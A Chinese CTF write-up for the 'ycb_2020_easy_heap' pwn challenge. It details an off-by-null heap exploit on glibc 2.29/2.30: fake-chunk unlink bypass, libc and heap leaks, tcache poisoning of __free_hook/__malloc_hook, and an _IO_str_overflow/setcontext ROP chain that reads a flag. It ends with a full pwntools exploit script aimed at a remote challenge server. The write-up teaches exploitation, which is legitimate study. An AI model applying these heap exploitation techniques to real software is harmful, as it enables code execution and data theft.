off-by-null in glibc2.29


title: off-by-bull in glibc2.29
date: 2021-05-21
tags:
- off-by-bull
- glibc2.29
categories:
- Exercise

ycb_2020_easy_heap

程序大概功能:

  • Take_card: malloc一个任意size的chunk,size>0 指针和size记录与bss
  • Drop_card: free一个chunk,并且指针,size清空
  • Edit_card: 修改一个chunk,off-by-bull
  • Show: 普通

注意远程的libc版本为glibc2.30,在后面列出该版本与glibc2.29的差异

堆构造思路

构造的中心是绕过glibc2.29及更高版本在free后的chunk进行unlink前的检查

//glibc-2.29
/*低地址合并*/
if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))    //new
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

第一步:抬高topchunk的初始地址(0x????0000)

因为每一次edit都会把后一个字节覆盖为\x00,所以想覆盖利用残留指针必须使其指针第二个字节为\x00

    Take_card(0x6d70-0x10)         #0 create 0000 address
    Take_card(0x4f0)            #1
    Take_card(0x68)                #2
    Take_card(0x1f0)            #3

堆分布:

addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x6d70               Used                None              None
0x555555560000      0x0                 0x500                Used                None              None
0x555555560500      0x0                 0x70                 Used                None              None
0x555555560570      0x0                 0x200                Used                None              None
  • chunk_0x500:放置fake_chunk,成包含残留指针的chunk,因为其起始地址倒数第二个字节也是\x00
  • chunk_0x70:用于隔开chunk_0x200,对chunk_0x200造成off-by-null以及为后面的
  • chunk_0x200: 用于进行最后释放触发unlink

第二步:分割sub_chunk

将chunk_0x500放入Bigchunk后其将会包含4各残留指针,前面fd,bk指针是libc指针用于泄露,后面的堆指针用于覆盖利用

    Drop_card(1)
    Take_card(0x5f0)            #1
    Take_card(0x20)                #4
    Take_card(0x20)                #5
    Take_card(0xf0)                #6
    Take_card(0x20)                #7
    Take_card(0xf0)                #8

堆分布:

0x555555560000      0x0                 0x30                 Used                None              None
0x555555560030      0x0                 0x30                 Used                None              None
0x555555560060      0x0                 0x100                Used                None              None
0x555555560160      0x0                 0x30                 Used                None              None
0x555555560190      0x0                 0x100                Used                None              None
0x555555560290      0x0                 0x270                Freed     0x7ffff7facbe0    0x7ffff7facbe0
0x555555560500      0x270               0x70                 Used                None              None
0x555555560570      0x0                 0x200                Used                None              None
0x555555560770      0x0                 0x600                Used                None              None
指针分布:
0x555555560000:    0x0000000000000000    0x0000000000000031   
0x555555560010:    0x00007ffff7fad010    0x00007ffff7fad010
0x555555560020:    0x0000555555560000    0x0000555555560000
0x555555560030:    0x0000000000000000    0x0000000000000031
0x555555560040:    0x00007ffff7facbe0    0x00007ffff7facbe0
0x555555560050:    0x0000000000000000    0x0000000000000000
0x555555560060:    0x0000000000000000    0x0000000000000101
0x555555560070:    0x00007ffff7facbe0    0x00007ffff7facbe0
0x555555560080:    0x0000000000000000    0x0000000000000000
  • 首先free了chunk_0x500,然后malloc一个chunk_0x600这样将chunk_0x500放入Bigchunk中
  • 第一个chunk_0x30获取了Bigchunk所有的残留指针,用于构造fake_chunk
  • 后面相继分割了四个chunk,用于形成tcache链,当overlap成功后进行任意地址读写
    • 这里提前安排好sub_chunk很重要,保证了这些subchunk地址形为:0x????00??

第三步:填充tcache

for i in range(7):
        Take_card(0xf0)            #9~15
    for i in range(8):        
        Take_card(0x20)            #16~23
    for i in range(7):
        Drop_card(9+i)            #fill tcache_0x100
        Drop_card(16+i)            #fill tcache_0x30
    Drop_card(23)
    #get unsorted_0x100
    Drop_card(6)                
    Drop_card(8)

堆分布:

                  top: 0x555555561390 (size : 0x18c70) 
       last_remainder: 0x5555555604c0 (size : 0x40) 
            unsortbin: 0x555555560190 (size : 0x100) <--> 0x555555560060 (size : 0x100)
(0x30)   tcache_entry[1](7): 0x555555561370 --> 0x555555561340 --> 0x555555561310 --> 0x5555555612e0 --> 0x5555555612b0 --> 0x555555561280 --> 0x5555555604a0
(0x40)   tcache_entry[2](1): 0x5555555604d0
(0x100)   tcache_entry[14](7): 0x555555561180 --> 0x555555561080 --> 0x555555560f80 --> 0x555555560e80 --> 0x555555560d80 --> 0x5555555603a0 --> 0x5555555602a0

那个0x40的是分割完剩下的

  • 先将chunk_0x30和chunk_0x100的tcache链填满
  • 释放第二部提前准备的chunk_0x100,进入unsortedbin

第四步:将UB中的两个chunk_0x100放入smallbins

    for i in range(7):
        Take_card(0xf0)

    Take_card(0x1f0)
  • 先将tcache中的chunk_0x100分配完
  • malloc一个chunk_0x200遍历UB并将UB中的chunk_0x100放入smallbin

这样就获取了一个chunk_0x100其fd字段会保存一个指向堆地址

第五步:伪造chunk

    Edit(4, p64(0xdeadbeef) + p64(0x561) + p8(0x60))
    Take_card(0xf0)
    Edit(15, p64(0xdeadbeef) + p8(0x10))

此时堆分布:

0x555555560000:    0x0000000000000000    0x0000000000000031
0x555555560010:    0x00000000deadbeef    0x0000000000000561  <=========fake_chunk
0x555555560020:    0x0000555555560060    0x0000555555560000
0x555555560030:    0x0000000000000000    0x0000000000000031
0x555555560040:    0x00007ffff7facbe0    0x00007ffff7facbe0
0x555555560050:    0x0000000000000000    0x0000000000000000
0x555555560060:    0x0000000000000000    0x0000000000000101
0x555555560070:    0x00000000deadbeef    0x0000555555560010
0x555555560080:    0x0000000000000000    0x0000000000000000
  • fake_chunk的prev_size字段暂时随便,fake_chunk的size提前计算可得
  • fake_chunk的fd字段已经被改为我们上一步获取的chunk_0x100
  • 同时将上步的chunk_0x100的bk字段覆盖为指向fake_chunk来绕过fake_chunk->fd->bk回指检查

接下来不用我多说,就是绕过fake_chunk->bk->fd回指的检查。只需让fake_chunk->prev_size字段指向自己即可

第六步:将之前布置的两个chunk_0x30放入fastbin

    Drop_card(5)
    Drop_card(7)
    Drop_card(4)
    for i in range(7):
        Take_card(0x20)
    Take_card(0x20)   <======
    Edit(20, p8(0x10))
  • 先释放那提前准备的两个chunk_0x30,然后释放用来伪造fake_chunk的chunk_0x30
    • 这样fake_chunk的fd字段就会放入堆地址并且不会影响size字段
    • 如果直接放入tcache那么fake_chunk的size字段会放入Tcache结构体地址
  • 然后分配完tcache中的chunk_0x30
  • 最后重新获取用于伪造fake_chunk的chunk_0x30
  • 覆盖其prev_size字段指向自己

堆分布:

0x555555560000:    0x0000000000000000    0x0000000000000031
0x555555560010:    0x0000555555560010    0x0000000000000561  <=====fake_chunk
0x555555560020:    0x0000555555560060    0x0000555555560000
0x555555560030:    0x0000000000000000    0x0000000000000031
0x555555560040:    0x0000555555560170    0x0000555555559010
0x555555560050:    0x0000000000000000    0x0000000000000000
0x555555560060:    0x0000000000000000    0x0000000000000101
0x555555560070:    0x00000000deadbeef    0x0000555555560010
0x555555560080:    0x0000000000000000    0x0000000000000000
                  top: 0x555555561590 (size : 0x18a70) 
       last_remainder: 0x5555555604c0 (size : 0x40) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](2): 0x555555560040 --> 0x555555560170
(0x40)   tcache_entry[2](1): 0x5555555604d0
(0x100)   tcache_entry[14](1): 0x5555555601a0

现在用于绕过unlink前的检查条件已经准备好了

攻击思路

由于程序沙箱禁用了execve函数,所以采用ORW + setcontext

泄露libc和heap地址

    #fill tcache_0x200
    for i in range(7):
        Take_card(0x1f0)
    for i in range(7):
        Drop_card(21+i)

    #attack for leak
    payload = b'A'*0x60 + p64(0x560)
    Edit(2, payload)
    Drop_card(3)

此时堆分布:

0x555555560000:    0x0000000000000000    0x0000000000000031
0x555555560010:    0x0000555555560060    0x0000000000000761
0x555555560020:    0x00007ffff7facbe0    0x00007ffff7facbe0
0x555555560030:    0x0000000000000000    0x0000000000000000
0x555555560040:    0x0000555555560170    0x0000555555559010
0x555555560050:    0x0000000000000000    0x0000000000000000
0x555555560060:    0x0000000000000000    0x0000000000000101
0x555555560070:    0x00000000deadbeef    0x0000555555560000

                  top: 0x555555562390 (size : 0x17c70) 
       last_remainder: 0x5555555604c0 (size : 0x40) 
            unsortbin: 0x555555560010 (overlap chunk with 0x555555560030(freed) )
(0x30)   tcache_entry[1](2): 0x555555560040 --> 0x555555560170
(0x40)   tcache_entry[2](1): 0x5555555604d0
(0x100)   tcache_entry[14](1): 0x5555555601a0
(0x200)   tcache_entry[30](7): 0x5555555621a0 --> 0x555555561fa0 --> 0x555555561da0 --> 0x555555561ba0 --> 0x5555555619a0 --> 0x5555555617a0 --> 0x5555555615a0

在overlap成功后libc可以随意泄露,主要是heap地址如何泄露。在前面我提前准备了两个chunk_0x30然后使其进入fastbin,之后free掉用于fake_chunk的0x30chunk,使得fastbin中有三个chunk_0x30(见上面的步骤),回收fake_chunk_0x30后剩下的两个被提取到tcache中,这样我就还有一个包含堆地址的freechunk可以用来泄露堆地址

    Take_card(0x40)
    show(3)
    sh.recvuntil('\x20')
    libc_addr = u64(sh.recv(6)+b'\x00'*2) - 0x520 - main_arena_off
    '''
    '''
    Take_card(0x20)
    show(21)
    sh.recvuntil('\x20')
    heap_base = u64(sh.recv(6)+b'\x00'*2) - 0x170

堆分布:

                  top: 0x555555562390 (size : 0x17c70) 
       last_remainder: 0x555555560060 (size : 0x710) 
            unsortbin: 0x555555560060 (overlap chunk with 0x555555560160(freed) )
(0x30)   tcache_entry[1](1): 0x555555560170
(0x40)   tcache_entry[2](1): 0x5555555604d0
(0x100)   tcache_entry[14](1): 0x5555555601a0
(0x200)   tcache_entry[30](7): 0x5555555621a0 --> 0x555555561fa0 --> 0x555555561da0 --> 0x555555561ba0 --> 0x5555555619a0 --> 0x5555555617a0 --> 0x5555555615a0

可以看到:tcache中chunk_0x30和chunk_0x100是在overlap_chunk中的,也就是说可以为我们提供两次任意地址写

glibc>=2.29的SROP利用

为什么需要两次?在glibc2.29及以上setcontext函数的寄存器赋值操作如下:

.text:0000000000044055                 mov     rsp, [rdx+0A0h]
.text:000000000004405C                 mov     rbx, [rdx+80h]
.text:0000000000044063                 mov     rbp, [rdx+78h]
.text:0000000000044067                 mov     r12, [rdx+48h]
.text:000000000004406B                 mov     r13, [rdx+50h]
.text:000000000004406F                 mov     r14, [rdx+58h]
.text:0000000000044073                 mov     r15, [rdx+60h]
.text:0000000000044077                 mov     rcx, [rdx+0A8h]
.text:000000000004407E                 push    rcx
.text:000000000004407F                 mov     rsi, [rdx+70h]
.text:0000000000044083                 mov     rdi, [rdx+68h]
.text:0000000000044087                 mov     rcx, [rdx+98h]
.text:000000000004408E                 mov     r8, [rdx+28h]
.text:0000000000044092                 mov     r9, [rdx+30h]
.text:0000000000044096                 mov     rdx, [rdx+88h]
.text:0000000000044096 ; } // starts at 44020
.text:000000000004409D ; __unwind {
.text:000000000004409D                 xor     eax, eax
.text:000000000004409F                 retn

所以需要控制rdx寄存器,而不再是单单的rdi为堆地址。况且题目还是在glibc2.30下的setcontext还有下不同,后面再说

解决方法:利用_IO_str_overflow函数
glibc2.29, 其中fd就是rdi

.text:000000000007BA68                 mov     rdx, [fp+28h]
.text:000000000007BA6C
.text:000000000007BA6C loc_7BA6C:                              ; CODE XREF: __GI__IO_str_overflow+155↓j
.text:000000000007BA6C                 mov     r13, [fp+38h]
.text:000000000007BA70                 mov     r12, [fp+40h]
.text:000000000007BA74                 mov     rcx, rdx
.text:000000000007BA77                 sub     rcx, [fp+20h]
.text:000000000007BA7B                 xor     eax, eax
.text:000000000007BA7D                 mov     ebp, esi
.text:000000000007BA7F                 mov     rbx, fp
.text:000000000007BA82 pos = rcx                               ; size_t
.text:000000000007BA82                 sub     r12, r13
.text:000000000007BA85                 cmp     esi, 0FFFFFFFFh
.text:000000000007BA88                 setz    al
.text:000000000007BA8B                 add     rax, r12
.text:000000000007BA8E                 cmp     pos, rax
.text:000000000007BA91                 jb      loc_7BB3F
.text:000000000007BA97 fp = rbx                                ; FILE_0 *
.text:000000000007BA97                 test    byte ptr [rdi], 1
.text:000000000007BA9A                 jnz     loc_7BB90
.text:000000000007BAA0 old_buf = r13                           ; char *
.text:000000000007BAA0 old_blen = r12                          ; size_t
.text:000000000007BAA0                 lea     r14, [old_blen+old_blen+64h]
.text:000000000007BAA5 new_size = r14                          ; size_t
.text:000000000007BAA5                 cmp     old_blen, new_size
.text:000000000007BAA8                 ja      loc_7BB90
.text:000000000007BAAE                 mov     rdi, new_size   ; bytes
.text:000000000007BAB1                 call    j___GI___libc_malloc

这里会将rdi+0x28的指赋给rdx,并且如果绕过中间的跳转将指向malloc函数,那么在glibc>=2.29时我们的SROP的思路就出来了:

  • free_hook:放入_IO_str_overflow赋值rdx部分
  • malloc_hook: 放入setcontext赋值寄存器的部分

千万注意上面说的时glibc2.29,与glibc2.30有差别,但是同样可以绕过

glibc2.30下的tcache fd劫持

本来每成功编译glibc2.30所以干脆在glibc2.29下进行测试,在劫持tcache fd时非常顺利。然后远程死活不行。然后在ubuntu20.04 glibc2.31下发现原来是tcache的问题
比对一下:

/*glibc2.29*/
  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL) //<=====
    {
      return tcache_get (tc_idx);
    }
/*glibc2.30及以上*/
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0) //<======
    {
      return tcache_get (tc_idx);
    }

所以不仅要篡改tcache chunk的fd在这之前还需要提前安排至少两个tcache chunk,因为我提前在overlap chunk中分别安排了两个chunk所以这个问题不难解决

SROP

在前面的操作下,成功向free_hook和malloc_hook分别写入_IO_str_overflow和setcontext地址,在提前获取的一个chunk中安排rop链即可。
但是两个函数的利用glibc2.30中有些细节和glibc2.29不同,需要注意,glibc2.29很简单,主要看看glibc2.30

_IO_str_overflow

   0x7ffff7e57b44 <__GI__IO_str_overflow+20>:    mov    eax,DWORD PTR [rdi]    <=====
   0x7ffff7e57b46 <__GI__IO_str_overflow+22>:    test   al,0x8
   0x7ffff7e57b48 <__GI__IO_str_overflow+24>:    jne    0x7ffff7e57cb0 <__GI__IO_str_overflow+384>
   0x7ffff7e57b4e <__GI__IO_str_overflow+30>:    mov    edx,eax
   0x7ffff7e57b50 <__GI__IO_str_overflow+32>:    mov    rbx,rdi
   0x7ffff7e57b53 <__GI__IO_str_overflow+35>:    and    edx,0xc00
   0x7ffff7e57b59 <__GI__IO_str_overflow+41>:    cmp    edx,0x400
   0x7ffff7e57b5f <__GI__IO_str_overflow+47>:    je     0x7ffff7e57c90 <__GI__IO_str_overflow+352>
   0x7ffff7e57b65 <__GI__IO_str_overflow+53>:    mov    rdx,QWORD PTR [rdi+0x28] <====
   0x7ffff7e57b69 <__GI__IO_str_overflow+57>:    mov    r14,QWORD PTR [rbx+0x38] <====
   0x7ffff7e57b6d <__GI__IO_str_overflow+61>:    mov    r12,QWORD PTR [rbx+0x40] <====
   0x7ffff7e57b71 <__GI__IO_str_overflow+65>:    xor    ecx,ecx
   0x7ffff7e57b73 <__GI__IO_str_overflow+67>:    mov    rsi,rdx
   0x7ffff7e57b76 <__GI__IO_str_overflow+70>:    sub    r12,r14
   0x7ffff7e57b79 <__GI__IO_str_overflow+73>:    cmp    ebp,0xffffffff
   0x7ffff7e57b7c <__GI__IO_str_overflow+76>:    sete   cl
   0x7ffff7e57b7f <__GI__IO_str_overflow+79>:    sub    rsi,QWORD PTR [rbx+0x20]
   0x7ffff7e57b83 <__GI__IO_str_overflow+83>:    add    rcx,r12
   0x7ffff7e57b86 <__GI__IO_str_overflow+86>:    cmp    rcx,rsi                  <====
   0x7ffff7e57b89 <__GI__IO_str_overflow+89>:    ja     0x7ffff7e57c5a <__GI__IO_str_overflow+298>
   0x7ffff7e57b8f <__GI__IO_str_overflow+95>:    test   al,0x1
   0x7ffff7e57b91 <__GI__IO_str_overflow+97>:    jne    0x7ffff7e57cd0 <__GI__IO_str_overflow+416>
   0x7ffff7e57b97 <__GI__IO_str_overflow+103>:    lea    r15,[r12+r12*1+0x64]
   0x7ffff7e57b9c <__GI__IO_str_overflow+108>:    cmp    r12,r15
   0x7ffff7e57b9f <__GI__IO_str_overflow+111>:    ja     0x7ffff7e57cd0 <__GI__IO_str_overflow+416>
   0x7ffff7e57ba5 <__GI__IO_str_overflow+117>:    mov    rdi,r15
   0x7ffff7e57ba8 <__GI__IO_str_overflow+120>:    call   0x7ffff7de6310   <=====

我们需要控制free_hook中的地址为:上面汇编指令中的第一条,否则下面为rdx赋值后无法调用malloc。

setcontext

   0x7ffff7e190dd :    mov    rsp,QWORD PTR [rdx+0xa0]
   0x7ffff7e190e4 :    mov    rbx,QWORD PTR [rdx+0x80]
   0x7ffff7e190eb :    mov    rbp,QWORD PTR [rdx+0x78]
   0x7ffff7e190ef :    mov    r12,QWORD PTR [rdx+0x48]
   0x7ffff7e190f3 :    mov    r13,QWORD PTR [rdx+0x50]
   0x7ffff7e190f7 :    mov    r14,QWORD PTR [rdx+0x58]
   0x7ffff7e190fb :    mov    r15,QWORD PTR [rdx+0x60]
   0x7ffff7e190ff :    test   DWORD PTR fs:0x48,0x2   <====
   0x7ffff7e1910b :    je     0x7ffff7e191c6 
   0x7ffff7e19111 :    mov    rsi,QWORD PTR [rdx+0x3a8]
   0x7ffff7e19118 :    mov    rdi,rsi
   0x7ffff7e1911b :    mov    rcx,QWORD PTR [rdx+0x3b0]
    '''
    '''
    '''
    '''
   0x7ffff7e191c6 :    mov    rcx,QWORD PTR [rdx+0xa8]
   0x7ffff7e191cd :    push   rcx
   0x7ffff7e191ce :    mov    rsi,QWORD PTR [rdx+0x70]
   0x7ffff7e191d2 :    mov    rdi,QWORD PTR [rdx+0x68]
   0x7ffff7e191d6 :    mov    rcx,QWORD PTR [rdx+0x98]
   0x7ffff7e191dd :    mov    r8,QWORD PTR [rdx+0x28]
   0x7ffff7e191e1 :    mov    r9,QWORD PTR [rdx+0x30]
   0x7ffff7e191e5 :    mov    rdx,QWORD PTR [rdx+0x88]
   0x7ffff7e191ec :    xor    eax,eax
   0x7ffff7e191ee :    ret    

这里和glibc2.29也有点不同,就是把原来一系列寄存器赋值给分开了,不过没什么大问题,中间的test指令会让je指令进行跳转。所以忽略中间的跳转,setcontext与glibc2.29没什么变化,甚至每个寄存器相对rdx/rdi的偏移也没有变,所以构造如下:

    exp = p64(0)*2
    exp += b"./flag\x00\x00"
    exp += p64(0)*2
    exp += p64(Srop_chunk)
    exp = exp.ljust(0x68, b'\x00')
    exp += p64(Srop_chunk+0x10)
    exp += p64(0)
    exp = exp.ljust(0x88, b'\x00')
    exp += p64(0x100)
    exp = exp.ljust(0xa0, b'\x00')
    exp += p64(Srop_chunk+0xb0)        #rsp
    exp += p64(open_flag)            #ip
    exp = exp.ljust(0xb0)
    #rop_chain
    exp += flat(PopRdiRet, 3, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Read
                , PopRdiRet, 1, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Write)

到此整个利用完毕~,很恶心

##Exp

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Square_R
#Time: 2021.04.20 10.36.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys

context.arch = 'amd64'

def Take_card(size):
    sh.sendlineafter('Choice:','1')
    sh.sendlineafter('Size: ',str(size))

def Edit(index,cont):
    sh.sendlineafter('Choice:','2')
    sh.sendlineafter('Index: ',str(index))
    sh.sendafter('Content: \n',(cont))

def Drop_card(index):
    sh.sendlineafter('Choice:','3')
    sh.sendlineafter('Index: ',str(index))

def show(index):
    sh.sendlineafter('Choice:','4')
    sh.sendlineafter('Index: ',str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = '1.1.1.1'
port = 10000
local = sys.argv[1]
if(local == 'l'):
    main_arena_off = 0x3b3c40
    # context.log_level = 'debug'
    libc=ELF('/glibc/x64/2.29/lib/libc-2.29.so')
    elf=ELF('./ycb_2020_easy_heap')
    sh = process('./ycb_2020_easy_heap')
else:
    # context.log_level = 'debug'
    main_arena_off = 0x0000000001EAB80
    elf=ELF('./ycb_2020_easy_heap')
    libc=ELF('./libc-2.30.so')
    sh = remote('node3.buuoj.cn',26165)


def pwn():
    Take_card(0x6d70-0x10)         #0 create 0000 address
    Take_card(0x4f0)            #1
    Take_card(0x68)                #2
    Take_card(0x1f0)            #3

    Drop_card(1)
    Take_card(0x5f0)            #1
    Take_card(0x20)                #4
    Take_card(0x20)                #5
    Take_card(0xf0)                #6
    Take_card(0x20)                #7
    Take_card(0xf0)                #8

    for i in range(7):
        Take_card(0xf0)            #9~15
    for i in range(8):        
        Take_card(0x20)            #16~23
    for i in range(7):
        Drop_card(9+i)            #fill tcache_0x100
        Drop_card(16+i)            #fill tcache_0x30
    Drop_card(23)
    #get unsorted_0x100
    Drop_card(6)                
    Drop_card(8)

    for i in range(7):
        Take_card(0xf0)

    #fake_chunk create
    Take_card(0x1f0)
    Edit(4, p64(0xdeadbeef) + p64(0x561) + p8(0x60))
    Take_card(0xf0)
    Edit(15, p64(0xdeadbeef) + p8(0x10))
    Drop_card(5)
    Drop_card(7)
    Drop_card(4)
    for i in range(7):
        Take_card(0x20)
    Take_card(0x20)
    Edit(20, p8(0x10))
    #fake_chunk create end

    #fill tcache_0x200
    for i in range(7):
        Take_card(0x1f0)
    for i in range(7):
        Drop_card(21+i)

    #attack for leak
    payload = b'A'*0x60 + p64(0x560)
    Edit(2, payload)
    Drop_card(3)
    Take_card(0x40)
    show(3)
    sh.recvuntil('\x20')
    libc_addr = u64(sh.recv(6)+b'\x00'*2) - 0x520 - main_arena_off
    malloc_hook = libc_addr + libc.sym['__malloc_hook']
    free_hook = libc_addr + libc.sym['__free_hook']
    str_overflow = libc_addr + libc.sym['_IO_str_overflow']
    setcontext = libc_addr + libc.sym['setcontext']
    open_flag = libc_addr + libc.sym['open']
    Read = libc_addr + libc.sym['read']
    Write = libc_addr + libc.sym['write']
    show_addr('str_overflow', str_overflow)
    show_addr('setcontext', setcontext)
    show_addr('libc_addr', libc_addr)
    show_addr('malloc_hook',malloc_hook)
    show_addr('free_hook', free_hook)
    Take_card(0x20)
    show(21)
    sh.recvuntil('\x20')
    heap_base = u64(sh.recv(6)+b'\x00'*2) - 0x170
    show_addr('heap_base', heap_base)
    #attack end

    #attack for execve ___GI__IO_str_overflow+56

    Take_card(0x20)         #22
    Take_card(0x20)            #23
    Drop_card(23)            
    Drop_card(22)

    Take_card(0xf0)            #22#0x1a0
    Take_card(0xf0)            #23

    payload = b'A'*0xc0
    payload += p64(0) + p64(0x31)
    payload += p64(free_hook).strip(b'0x1e0\x00')
    Edit(23, payload)

    Take_card(0x20)            #24
    Take_card(0x20)            #25

    Take_card(0x30)            #26 0x4d0
    Take_card(0x30)            #27
    Drop_card(27)
    Drop_card(26)
    Take_card(0x300)            #26
    Edit(26, b'A'*0x2e8 + p64(0x41) + p64(malloc_hook))
    Take_card(0x30)            #27
    Take_card(0x30)            #28

    PopRdxR12Ret = libc_addr + 0x000000000011c421
    PopRdiRet = libc_addr + 0x0000000000026bb2
    PopRsiRet = libc_addr + 0x000000000002709c
    Srop_chunk = heap_base + 0x1e0
    show_addr('Srop_chunk', Srop_chunk)
    Take_card(0x200)        #26 for SROP
    exp = p64(0)*2
    exp += b"./flag\x00\x00"
    exp += p64(0)*2
    exp += p64(Srop_chunk)
    exp = exp.ljust(0x68, b'\x00')
    exp += p64(Srop_chunk+0x10)
    exp += p64(0)
    exp = exp.ljust(0x88, b'\x00')
    exp += p64(0x100)
    exp = exp.ljust(0xa0, b'\x00')
    exp += p64(Srop_chunk+0xb0)        #rsp
    exp += p64(open_flag)            #ip
    exp = exp.ljust(0xb0)
    #rop_chain
    exp += flat(PopRdiRet, 3, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Read
                , PopRdiRet, 1, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Write)

    Edit(26, exp)

    Edit(25, p64(str_overflow+0x14))

    Edit(28, p64(setcontext+0x3d))

    # gdb.attach(sh,'b*$rebase(0x0000000000001730)')

    Drop_card(26)

'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

'''


if __name__ == '__main__':
    while 1:
        try:
            sh = remote('node3.buuoj.cn',26165)
            pwn()
            sh.interactive()
        except:
            sh.close()

小结

  • 就这个十八弯的堆构造,我觉得没必要深究
    • 核心在于:绕过unlink的size与pre_size对质,所以需要伪造chunk从而控制size
    • 那么既然伪造了chunk就需要继续思考fake_chunk的fd和bk指针如何覆盖,修改绕过unlink检查
    • 硬要说构造模板我觉得是:从Bigchunk中分割一个sub_chunk来存放fake_chunk,然后提前在Bigchunk中分割多个subchunk来进行指针覆盖
  • 然后就是注意glibc2.29以后的tcache分配检查:看数量而不是看next 指针
  • glibc2.29以后的SROP:使用了_IO_str_overflow辅助setcontext的利用,需要两次任意地址写
  • 一个坑:就是glibc2.29的Tcache结构体中的counts数据类型是char[],而glibc2.29之后的counts数据类型是uint16_t占两个字节,所以在抬高topchunk的时候需要的size不一样

  转载请注明: Squarer off-by-null in glibc2.29

  目录